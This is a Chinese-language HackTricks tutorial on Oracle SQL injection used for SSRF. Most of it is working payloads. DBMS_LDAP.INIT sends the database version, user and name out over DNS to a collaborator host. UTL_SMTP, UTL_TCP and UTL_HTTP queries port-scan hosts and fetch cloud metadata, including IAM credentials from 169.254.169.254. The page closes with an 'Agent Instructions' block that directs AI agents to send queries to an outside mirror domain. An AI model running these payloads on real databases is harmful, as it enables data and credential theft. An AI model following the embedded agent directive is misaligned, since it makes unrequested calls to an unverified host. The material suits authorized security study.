# Oracle injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**将此帖子存档为已删除帖子的**[**wayback machine副本**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)。

## SSRF

使用Oracle执行带外HTTP和DNS请求的方法已经有很多文档记录，但作为注入中提取SQL数据的手段。我们总是可以修改这些技术/函数来执行其他SSRF/XSPA。

安装Oracle可能非常痛苦，特别是如果您想设置一个快速实例来尝试命令。我的朋友和同事在[Appsecco](https://appsecco.com)，[Abhisek Datta](https://github.com/abhisek)，向我指出了<https://github.com/MaksymBilenko/docker-oracle-12c>，这使我能够在t2.large AWS Ubuntu机器和Docker上设置一个实例。

我使用`--network="host"`标志运行了docker命令，以便我可以模拟Oracle作为一个具有完全网络访问权限的本地安装，用于本博文的过程。

```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```

#### 支持URL或主机名/端口号规范的Oracle包 <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>

为了找到支持主机和端口规范的任何包和函数，我在[Oracle数据库在线文档](https://docs.oracle.com/database/121/index.html)上进行了谷歌搜索。具体来说，

```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```

搜索返回了以下结果（并非所有都可用于执行出站网络）

* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
* DBMS\_XDB
* DBMS\_SCHEDULER
* DBMS\_XDB\_CONFIG
* DBMS\_AQ
* UTL\_MAIL
* DBMS\_AQELM
* DBMS\_NETWORK\_ACL\_UTILITY
* DBMS\_MGD\_ID\_UTL
* UTL\_TCP
* DBMS\_MGWADM
* DBMS\_STREAMS\_ADM
* UTL\_HTTP

这种简单的搜索显然会跳过像`DBMS_LDAP`（允许传递主机名和端口号）这样的包，因为[文档页面](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)只是简单地指向了[不同的位置](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)。因此，可能有其他可以滥用以发出请求的Oracle包我可能错过了。

无论如何，让我们来看看我们发现并列出的一些包。

**DBMS\_LDAP.INIT**

`DBMS_LDAP`包允许访问LDAP服务器中的数据。`init()`函数初始化与LDAP服务器的会话，并将主机名和端口号作为参数。

此函数以前已经记录过，显示了通过DNS泄露数据，如下所示

```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```

然而，考虑到该函数接受主机名和端口号作为参数，您也可以利用它来像端口扫描器一样工作。

以下是一些示例:

```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```

`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` 表明端口关闭，而会话值指向端口已打开。

**UTL\_SMTP**

`UTL_SMTP` 包旨在通过 SMTP 发送电子邮件。[Oracle 文档网站提供了一个示例，展示了如何使用该包发送电子邮件](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。然而，对我们而言，有趣的是能够提供主机和端口规范。

下面显示了一个简单示例，使用了 `UTL_SMTP.OPEN_CONNECTION` 函数，设置了 2 秒的超时时间。

```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```

```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```

`ORA-29276: 传输超时` 表明端口是打开的，但未建立 SMTP 连接，而 `ORA-29278: SMTP 临时错误: 421 服务不可用` 表明端口已关闭。

**UTL\_TCP**

`UTL_TCP` 包及其过程和函数允许[与服务进行基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程，该包可以轻松成为进入网络或执行完整的服务器端请求的一种方式，因为可以控制 TCP/IP 连接的所有方面。

[Oracle 文档网站上的示例](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)展示了如何使用此包建立原始 TCP 连接以获取网页。我们可以简化一下，并使用它向元数据实例或任意 TCP/IP 服务发出请求。

```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```

```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```

有趣的是，由于能够构建原始的TCP请求，这个包也可以用来查询所有云提供商的实例元数据服务，因为方法类型和附加标头都可以在TCP请求中传递。

**UTL\_HTTP和Web请求**

也许在每个关于Oracle SQL注入的外带教程中最常见且广泛记录的技术是[`UTL_HTTP`包](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)。文档中定义了这个包 - `UTL_HTTP包使SQL和PL/SQL可以进行超文本传输协议（HTTP）调用。您可以使用它来通过HTTP访问互联网上的数据。`

```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```

你还可以使用这个方法执行一些基本的端口扫描，比如使用以下查询：

```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```

一个`ORA-12541: TNS:no listener`或`TNS:operation timed out`表示TCP端口关闭，而`ORA-29263: HTTP protocol error`或数据表示端口开放。

我过去使用过的另一个包是[`HTTPURITYPE` Oracle抽象类型的`GETCLOB()`方法](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705)，它允许与URL交互并支持HTTP协议。`GETCLOB()`方法用于将URL的GET响应作为[CLOB数据类型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)提取。\[select HTTPURITYPE('<http://169.254.169.254/latest/meta-data/instance-id').getclob(>) from dual;

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/sql-injection/oracle-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
